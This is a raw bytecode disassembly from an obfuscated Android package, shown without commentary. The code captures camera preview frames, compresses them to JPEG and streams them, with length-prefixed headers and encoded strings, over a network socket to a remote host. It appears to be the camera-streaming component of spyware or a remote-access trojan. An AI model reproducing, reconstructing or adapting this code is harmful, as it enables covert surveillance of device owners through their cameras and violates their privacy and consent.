    000843fciget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084400iget-boolean v0, v0, Lcmf0/c3b5bm90zq/patch/C5;->l:Z
    00084404if-eqz v0, :cond_0
    00084408return-void
    0008419c
    0008440a
    0008440a struct code_item_padding
    0008440a padding uint16 0x0000
    0008440c
    0008440c struct try_item
    0008440c start_addr uint32 0x841ac
    00084410 insn_count int 290
    00084412 handler_off uint16 0x84415
    00084414
    00084414 struct encoded_catch_handler_list
    00084414 size int 1
    00084415
    00084415 struct encoded_catch_handler ← 0x84412
    00084415 size int64 3
    00084416 handlers[0].type_idx int 0x5a58
    00084418 handlers[0].addr uint32 0x843f2
    0008441a handlers[1].type_idx int 0x5a48
    0008441c handlers[1].addr uint32 0x843f2
    0008441e handlers[2].type_idx int 0x5994
    00084420 handlers[2].addr uint32 0x843f2
    00084422
    00084422 // align 0x4
    00084424
    00084424cmf0.c3b5bm90zq.patch.C5$2::<init>(cmf0.c3b5bm90zq.patch.C5, java.lang.String):
    00084434iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C5$2;->b:Lcmf0/c3b5bm90zq/patch/C5;
    00084438iput-object v2, v0, Lcmf0/c3b5bm90zq/patch/C5$2;->a:Ljava/lang/String;
    0008443cinvoke-direct {v0}, Ljava/lang/Object;-><init>()V
    00084442return-void
    00084424
    00084444
    00084444cmf0.c3b5bm90zq.patch.C5$2::run():
    00084454const/4 v0, 0x0
    00084456invoke-static {v0}, Ljava/lang/String;->valueOf(C)Ljava/lang/String;
    0008445cmove-result-object v1
    0008445enew-instance v2, Ljava/lang/StringBuilder;
    00084462invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
    00084468iget-object v3, v5, Lcmf0/c3b5bm90zq/patch/C5$2;->a:Ljava/lang/String;
    0008446cinvoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084472sget-object v3, Lcmf0/c3b5bm90zq/patch/C11;->e:Ljava/lang/String;
    00084476invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008447cconst-string v3, "null"
    00084480invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084486invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    0008448cmove-result-object v2
    0008448einvoke-virtual {v2}, Ljava/lang/String;->getBytes()[B
    00084494move-result-object v2
    00084496invoke-static {v2}, Lcmf0/c3b5bm90zq/patch/a;->a([B)[B
    0008449cmove-result-object v2
    0008449earray-length v3, v2
    000844a0new-instance v4, Ljava/io/ByteArrayOutputStream;
    000844a4invoke-direct {v4}, Ljava/io/ByteArrayOutputStream;-><init>()V
    000844aainvoke-static {v3}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
    000844b0move-result-object v3
    000844b2invoke-virtual {v3}, Ljava/lang/String;->getBytes()[B
    000844b8move-result-object v3
    000844bainvoke-virtual {v4, v3}, Ljava/io/ByteArrayOutputStream;->write([B)V
    000844c0invoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
    000844c6move-result-object v1
    000844c8invoke-virtual {v4, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
    000844ceinvoke-virtual {v4, v2}, Ljava/io/ByteArrayOutputStream;->write([B)V
    000844d4invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
    000844damove-result-object v1
    000844dcinvoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->e()Ljava/lang/Object;
    000844e2move-result-object v2
    000844e4monitor-enter v2
    000844e6invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    000844ecmove-result-object v3
    000844eearray-length v4, v1
    000844f0invoke-virtual {v3, v4}, Ljava/net/Socket;->setSendBufferSize(I)V
    000844f6iget-object v3, v5, Lcmf0/c3b5bm90zq/patch/C5$2;->b:Lcmf0/c3b5bm90zq/patch/C5;
    000844fainvoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    00084500move-result-object v4
    00084502invoke-virtual {v4}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
    00084508move-result-object v4
    0008450ainvoke-static {v3, v4}, Lcmf0/c3b5bm90zq/patch/C5;->a(Lcmf0/c3b5bm90zq/patch/C5;Ljava/io/OutputStream;)Ljava/io/OutputStream;
    00084510iget-object v3, v5, Lcmf0/c3b5bm90zq/patch/C5$2;->b:Lcmf0/c3b5bm90zq/patch/C5;
    00084514invoke-static {v3}, Lcmf0/c3b5bm90zq/patch/C5;->b(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/io/OutputStream;
    0008451amove-result-object v3
    0008451carray-length v4, v1
    0008451einvoke-virtual {v3, v1, v0, v4}, Ljava/io/OutputStream;->write([BII)V
    00084524monitor-exit v2
    00084526goto :goto_6d
    00084528move-exception v0
    0008452amonitor-exit v2
    0008452cthrow v0
    0008452ereturn-void
    00084444
    00084530
    00084530 struct try_item
    00084530 start_addr uint32 0x84456
    00084534 insn_count int 72
    00084536 handler_off uint16 0x84549
    00084538
    00084538 struct try_item
    00084538 start_addr uint32 0x844e6
    0008453c insn_count int 35
    0008453e handler_off uint16 0x8454d
    00084540
    00084540 struct try_item
    00084540 start_addr uint32 0x8452c
    00084544 insn_count int 1
    00084546 handler_off uint16 0x84549
    00084548
    00084548 struct encoded_catch_handler_list
    00084548 size int 2
    00084549
    00084549 struct encoded_catch_handler ← 0x84536 0x84546
    00084549 size int64 1
    0008454a handlers[0].type_idx int 0x5994
    0008454c handlers[0].addr uint32 0x8452e
    0008454d
    0008454d struct encoded_catch_handler ← 0x8453e
    0008454d size int64 0
    0008454e catch_all_addr uint32 0x84528
    0008454f
    0008454f // align 0x10
    00084550
    00084550cmf0.c3b5bm90zq.patch.C5$3::<init>(cmf0.c3b5bm90zq.patch.C5):
    00084560iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C5$3;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084564invoke-direct {v0}, Ljava/lang/Object;-><init>()V
    0008456areturn-void
    00084550
    0008456c
    0008456ccmf0.c3b5bm90zq.patch.C5$3::onPreviewFrame(byte[], android.hardware.Camera):
    0008457ciget-object v7, v5, Lcmf0/c3b5bm90zq/patch/C5$3;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084580iget-boolean v7, v7, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
    00084584const/4 v0, 0x1
    00084586if-ne v7, v0, :cond_5d
    0008458aif-nez v6, :cond_a
    0008458ereturn-void
    00084590iget-object v7, v5, Lcmf0/c3b5bm90zq/patch/C5$3;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084594invoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C5;->c(Lcmf0/c3b5bm90zq/patch/C5;)J
    0008459amove-result-wide v1
    0008459ciget-object v7, v5, Lcmf0/c3b5bm90zq/patch/C5$3;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000845a0invoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C5;->d(Lcmf0/c3b5bm90zq/patch/C5;)J
    000845a6move-result-wide v3
    000845a8cmp-long v7, v1, v3
    000845acif-nez v7, :cond_5d
    000845b0invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    000845b6move-result-object v7
    000845b8if-eqz v7, :cond_5d
    000845bciget-object v7, v5, Lcmf0/c3b5bm90zq/patch/C5$3;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000845c0iget-boolean v7, v7, Lcmf0/c3b5bm90zq/patch/C5;->l:Z
    000845c4if-ne v7, v0, :cond_5d
    000845c8iget-object v7, v5, Lcmf0/c3b5bm90zq/patch/C5$3;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000845ccinvoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C5;->b(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/io/OutputStream;
    000845d2move-result-object v7
    000845d4if-eqz v7, :cond_5d
    000845d8sget v7, Lcmf0/c3b5bm90zq/patch/C5;->k:I
    000845dcconst/4 v0, -0x1
    000845deif-eq v7, v0, :cond_5d
    000845e2iget-object v7, v5, Lcmf0/c3b5bm90zq/patch/C5$3;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000845e6invoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C5;->e(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
    000845ecmove-result-object v7
    000845eeinvoke-interface {v7, v6}, Ljava/util/List;->add(Ljava/lang/Object;)Z
    000845f4iget-object v6, v5, Lcmf0/c3b5bm90zq/patch/C5$3;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000845f8invoke-static {v6}, Lcmf0/c3b5bm90zq/patch/C5;->f(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
    000845femove-result-object v6
    00084600iget-object v7, v5, Lcmf0/c3b5bm90zq/patch/C5$3;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084604invoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C5;->d(Lcmf0/c3b5bm90zq/patch/C5;)J
    0008460amove-result-wide v0
    0008460cinvoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
    00084612move-result-object v7
    00084614invoke-interface {v6, v7}, Ljava/util/List;->add(Ljava/lang/Object;)Z
    0008461aiget-object v6, v5, Lcmf0/c3b5bm90zq/patch/C5$3;->a:Lcmf0/c3b5bm90zq/patch/C5;
    0008461eiget-object v7, v5, Lcmf0/c3b5bm90zq/patch/C5$3;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084622invoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C5;->d(Lcmf0/c3b5bm90zq/patch/C5;)J
    00084628move-result-wide v0
    0008462aconst-wide/16 v2, 0x1
    0008462eadd-long/2addr v0, v2
    00084630invoke-static {v6, v0, v1}, Lcmf0/c3b5bm90zq/patch/C5;->a(Lcmf0/c3b5bm90zq/patch/C5;J)J
    00084636return-void
    0008456c
    00084638
    00084638 struct try_item
    00084638 start_addr uint32 0x8457c
    0008463c insn_count int 4
    0008463e handler_off uint16 0x84649
    00084640
    00084640 struct try_item
    00084640 start_addr uint32 0x84590
    00084644 insn_count int 83
    00084646 handler_off uint16 0x8464d
    00084648
    00084648 struct encoded_catch_handler_list
    00084648 size int 2
    00084649
    00084649 struct encoded_catch_handler ← 0x8463e
    00084649 size int64 1
    0008464a handlers[0].type_idx int 0x5994
    0008464c handlers[0].addr uint32 0x84636
    0008464d
    0008464d struct encoded_catch_handler ← 0x84646
    0008464d size int64 2
    0008464e handlers[0].type_idx int 0x59cc
    00084650 handlers[0].addr uint32 0x84636
    00084651 handlers[1].type_idx int 0x5994
    00084653 handlers[1].addr uint32 0x84636
    00084654
    00084654cmf0.c3b5bm90zq.patch.C5$a::<init>(cmf0.c3b5bm90zq.patch.C5):
    00084664iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084668invoke-direct {v0}, Landroid/os/AsyncTask;-><init>()V
    0008466ereturn-void
    00084654
    00084670
    00084670cmf0.c3b5bm90zq.patch.C5$a::<init>(cmf0.c3b5bm90zq.patch.C5, cmf0.c3b5bm90zq.patch.C5$1):
    00084680invoke-direct {v0, v1}, Lcmf0/c3b5bm90zq/patch/C5$a;-><init>(Lcmf0/c3b5bm90zq/patch/C5;)V
    00084686return-void
    00084670
    00084688
    00084688cmf0.c3b5bm90zq.patch.C5$a::a(java.lang.Object[]):
    00084698iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    0008469cinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->g(Lcmf0/c3b5bm90zq/patch/C5;)Z
    000846a2move-result v13
    000846a4if-eqz v13, :cond_320
    000846a8iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000846acinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->e(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
    000846b2move-result-object v13
    000846b4invoke-interface {v13}, Ljava/util/List;->size()I
    000846bamove-result v13
    000846bcif-lez v13, :cond_0
    000846c0iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000846c4invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->f(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
    000846camove-result-object v13
    000846ccinvoke-interface {v13}, Ljava/util/List;->size()I
    000846d2move-result v13
    000846d4if-lez v13, :cond_0
    000846d8iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000846dcinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->f(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
    000846e2move-result-object v13
    000846e4const/4 v0, 0x0
    000846e6invoke-interface {v13, v0}, Ljava/util/List;->get(I)Ljava/lang/Object;
    000846ecmove-result-object v13
    000846eecheck-cast v13, Ljava/lang/Long;
    000846f2invoke-virtual {v13}, Ljava/lang/Long;->longValue()J
    000846f8move-result-wide v1
    000846faiget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000846feinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->e(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
    00084704move-result-object v13
    00084706invoke-interface {v13, v0}, Ljava/util/List;->get(I)Ljava/lang/Object;
    0008470cmove-result-object v13
    0008470echeck-cast v13, [B
    00084712check-cast v13, [B
    00084716iget-object v3, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    0008471ainvoke-static {v3}, Lcmf0/c3b5bm90zq/patch/C5;->c(Lcmf0/c3b5bm90zq/patch/C5;)J
    00084720move-result-wide v3
    00084722cmp-long v5, v3, v1
    00084726if-nez v5, :cond_2e3
    0008472asget-object v3, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    0008472econst-wide/16 v4, 0x53
    00084732const-wide/16 v6, 0x45
    00084736if-eqz v3, :cond_2b7
    0008473asget-object v3, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    0008473einvoke-virtual {v3}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
    00084744move-result-object v3
    00084746invoke-virtual {v3}, Landroid/hardware/Camera$Parameters;->getPreviewSize()Landroid/hardware/Camera$Size;
    0008474cmove-result-object v8
    0008474eiget v9, v8, Landroid/hardware/Camera$Size;->width:I
    00084752invoke-virtual {v3}, Landroid/hardware/Camera$Parameters;->getPreviewSize()Landroid/hardware/Camera$Size;
    00084758move-result-object v3
    0008475aiget v10, v3, Landroid/hardware/Camera$Size;->height:I
    0008475einvoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    00084764move-result-object v3
    00084766if-eqz v3, :cond_28c
    0008476aiget-object v3, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    0008476eiget-boolean v3, v3, Lcmf0/c3b5bm90zq/patch/C5;->l:Z
    00084772const/4 v8, 0x1
    00084774if-ne v3, v8, :cond_261
    00084778iget-object v3, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    0008477cinvoke-static {v3}, Lcmf0/c3b5bm90zq/patch/C5;->b(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/io/OutputStream;
    00084782move-result-object v3
    00084784if-eqz v3, :cond_232
    00084788iget-object v3, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    0008478cinvoke-static {}, Ljava/lang/System;->currentTimeMillis()J
    00084792move-result-wide v4
    00084794invoke-static {v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C5;->b(Lcmf0/c3b5bm90zq/patch/C5;J)J
    0008479anew-instance v11, Landroid/graphics/YuvImage;
    0008479econst/16 v5, 0x11
    000847a2const/4 v8, 0x0
    000847a4move-object v3, v11
    000847a6move-object v4, v13
    000847a8move v6, v9
    000847aamove v7, v10
    000847acinvoke-direct/range {v3 .. v8}, Landroid/graphics/YuvImage;-><init>([BIII[I)V
    000847b2new-instance v3, Ljava/io/ByteArrayOutputStream;
    000847b6array-length v13, v13
    000847b8invoke-direct {v3, v13}, Ljava/io/ByteArrayOutputStream;-><init>(I)V
    000847benew-instance v13, Landroid/graphics/Rect;
    000847c2invoke-direct {v13, v0, v0, v9, v10}, Landroid/graphics/Rect;-><init>(IIII)V
    000847c8sget v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
    000847ccinvoke-virtual {v11, v13, v4, v3}, Landroid/graphics/YuvImage;->compressToJpeg(Landroid/graphics/Rect;ILjava/io/OutputStream;)Z
    000847d2invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
    000847d8move-result-wide v4
    000847daiget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000847deinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->h(Lcmf0/c3b5bm90zq/patch/C5;)J
    000847e4move-result-wide v6
    000847e6const/4 v13, 0x0
    000847e8sub-long/2addr v4, v6
    000847eaiget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000847eeinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->i(Lcmf0/c3b5bm90zq/patch/C5;)I
    000847f4move-result v13
    000847f6int-to-long v6, v13
    000847f8cmp-long v13, v4, v6
    000847fcif-gez v13, :cond_22d
    00084800invoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->size()I
    00084806move-result v13
    00084808sget v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
    0008480cconst/16 v5, 0x47
    00084810if-ne v4, v5, :cond_f6
    00084814const v4, 0xf000
    0008481aif-le v13, v4, :cond_c8
    0008481econst/16 v4, 0xa
    00084822sput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
    00084826goto :goto_f6
    00084828const v4, 0xc800
    0008482eif-le v13, v4, :cond_d2
    00084832const/16 v4, 0x14
    00084836sput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
    0008483agoto :goto_f6
    0008483cconst v4, 0xa000
    00084842if-le v13, v4, :cond_dc
    00084846const/16 v4, 0x1e
    0008484asput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
    0008484egoto :goto_f6
    00084850const/16 v4, 0x7800
    00084854if-le v13, v4, :cond_e5
    00084858const/16 v4, 0x28
    0008485csput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
    00084860goto :goto_f6
    00084862const/16 v4, 0x5000
    00084866if-le v13, v4, :cond_ee
    0008486aconst/16 v4, 0x32
    0008486esput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
    00084872goto :goto_f6
    00084874const/16 v4, 0x2800
    00084878if-le v13, v4, :cond_f6
    0008487cconst/16 v4, 0x3c
    00084880sput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
    00084884new-instance v4, Ljava/lang/StringBuilder;
    00084888invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
    0008488esget-wide v5, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00084892const-wide/16 v7, 0x47
    00084896invoke-static {v5, v6, v7, v8}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008489cmove-result-object v5
    0008489einvoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000848a4sget-object v5, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000848a8invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000848aeinvoke-virtual {v4, v1, v2}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
    000848b4invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000848bamove-result-object v1
    000848bcinvoke-static {v0}, Ljava/lang/String;->valueOf(C)Ljava/lang/String;
    000848c2move-result-object v2
    000848c4new-instance v4, Ljava/lang/StringBuilder;
    000848c8invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
    000848ceinvoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000848d4sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->e:Ljava/lang/String;
    000848d8invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000848deinvoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000848e4move-result-object v1
    000848e6new-instance v4, Ljava/io/ByteArrayOutputStream;
    000848eainvoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
    000848f0move-result-object v5
    000848f2array-length v5, v5
    000848f4add-int/2addr v5, v13
    000848f6invoke-direct {v4, v5}, Ljava/io/ByteArrayOutputStream;-><init>(I)V
    000848fcinvoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
    00084902move-result-object v13
    00084904invoke-virtual {v4, v13}, Ljava/io/ByteArrayOutputStream;->write([B)V
    0008490ainvoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
    00084910move-result-object v13
    00084912invoke-virtual {v4, v13}, Ljava/io/ByteArrayOutputStream;->write([B)V
    00084918invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
    0008491emove-result-wide v5
    00084920iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084924invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->h(Lcmf0/c3b5bm90zq/patch/C5;)J
    0008492amove-result-wide v7
    0008492cconst/4 v13, 0x0
    0008492esub-long/2addr v5, v7
    00084930iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084934invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->i(Lcmf0/c3b5bm90zq/patch/C5;)I
    0008493amove-result v13
    0008493cint-to-long v7, v13
    0008493ecmp-long v13, v5, v7
    00084942if-gez v13, :cond_225
    00084946new-instance v13, Ljava/io/ByteArrayOutputStream;
    0008494ainvoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->size()I
    00084950move-result v1
    00084952invoke-static {v1}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
    00084958move-result-object v1
    0008495ainvoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
    00084960move-result-object v1
    00084962array-length v1, v1
    00084964invoke-virtual {v2}, Ljava/lang/String;->getBytes()[B
    0008496amove-result-object v5
    0008496carray-length v5, v5
    0008496eadd-int/2addr v1, v5
    00084970invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->size()I
    00084976move-result v5
    00084978add-int/2addr v1, v5
    0008497ainvoke-direct {v13, v1}, Ljava/io/ByteArrayOutputStream;-><init>(I)V
    00084980invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->size()I
    00084986move-result v1
    00084988invoke-static {v1}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
    0008498emove-result-object v1
    00084990invoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
    00084996move-result-object v1
    00084998invoke-virtual {v13, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
    0008499einvoke-virtual {v2}, Ljava/lang/String;->getBytes()[B
    000849a4move-result-object v1
    000849a6invoke-virtual {v13, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
    000849acinvoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
    000849b2move-result-object v1
    000849b4invoke-virtual {v13, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
    000849bainvoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->close()V
    000849c0invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
    000849c6move-result-wide v1
    000849c8iget-object v5, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000849ccinvoke-static {v5}, Lcmf0/c3b5bm90zq/patch/C5;->h(Lcmf0/c3b5bm90zq/patch/C5;)J
    000849d2move-result-wide v5
    000849d4const/4 v7, 0x0
    000849d6sub-long/2addr v1, v5
    000849d8iget-object v5, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000849dcinvoke-static {v5}, Lcmf0/c3b5bm90zq/patch/C5;->i(Lcmf0/c3b5bm90zq/patch/C5;)I
    000849e2move-result v5
    000849e4int-to-long v5, v5
    000849e6cmp-long v7, v1, v5
    000849eaif-gez v7, :cond_21a
    000849eeinvoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->e()Ljava/lang/Object;
    000849f4move-result-object v1
    000849f6monitor-enter v1
    000849f8iget-object v2, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    000849fcinvoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C5;->b(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/io/OutputStream;
    00084a02move-result-object v2
    00084a04if-eqz v2, :cond_20b
    00084a08invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    00084a0emove-result-object v2
    00084a10invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
    00084a16move-result-object v5
    00084a18array-length v5, v5
    00084a1amul-int/lit8 v5, v5, 0xf
    00084a1einvoke-virtual {v2, v5}, Ljava/net/Socket;->setSendBufferSize(I)V
    00084a24iget-object v2, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084a28invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    00084a2emove-result-object v5
    00084a30invoke-virtual {v5}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
    00084a36move-result-object v5
    00084a38invoke-static {v2, v5}, Lcmf0/c3b5bm90zq/patch/C5;->a(Lcmf0/c3b5bm90zq/patch/C5;Ljava/io/OutputStream;)Ljava/io/OutputStream;
    00084a3eiget-object v2, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084a42invoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C5;->b(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/io/OutputStream;
    00084a48move-result-object v2
    00084a4ainvoke-virtual {v13}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
    00084a50move-result-object v5
    00084a52invoke-virtual {v2, v5}, Ljava/io/OutputStream;->write([B)V
    00084a58invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
    00084a5emove-result-wide v5
    00084a60iget-object v2, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084a64invoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C5;->h(Lcmf0/c3b5bm90zq/patch/C5;)J
    00084a6amove-result-wide v7
    00084a6cconst/4 v2, 0x0
    00084a6esub-long/2addr v5, v7
    00084a70iget-object v2, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084a74invoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C5;->i(Lcmf0/c3b5bm90zq/patch/C5;)I
    00084a7amove-result v2
    00084a7cint-to-long v7, v2
    00084a7ecmp-long v2, v5, v7
    00084a82if-gez v2, :cond_20b
    00084a86long-to-int v2, v5
    00084a88invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
    00084a8emove-result-object v2
    00084a90iget-object v5, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
    00084a94invoke-static {v5}, Lcmf0/c3b5bm90zq/patch/C5;->i(Lcmf0/c3b5bm90zq/patch/C5;)I
    00084a9amove-result v5
    00084a9cinvoke-virtual {v2}, Ljava/lang/Integer;->intValue()I
    00084aa2move-result v2
    00084aa4sub-int/2addr v5, v2
    00084aa6int-to-long v5, v5
    00084aa8invoke-static {v5, v6}, Ljava/lang/Thread;->sleep(J)V
    00084aaeinvoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->close()V
    00084ab4invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->close()V
    00084abainvoke-virtual {v13}, Ljava/io/ByteArrayOutputStream;->close()V
    00084ac0monitor-exit v1
    00084ac2goto/16 :goto_2e3
    00084ac6move-exception v13
    00084ac8monitor-exit v1
    00084acathrow v13
    00084accinvoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->close()V
    00084ad2invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->close()V
    00084ad8invoke-virtual {v13}, Ljava/io/ByteArrayOutputStream;->close()V
    00084adegoto/16 :goto_2e3
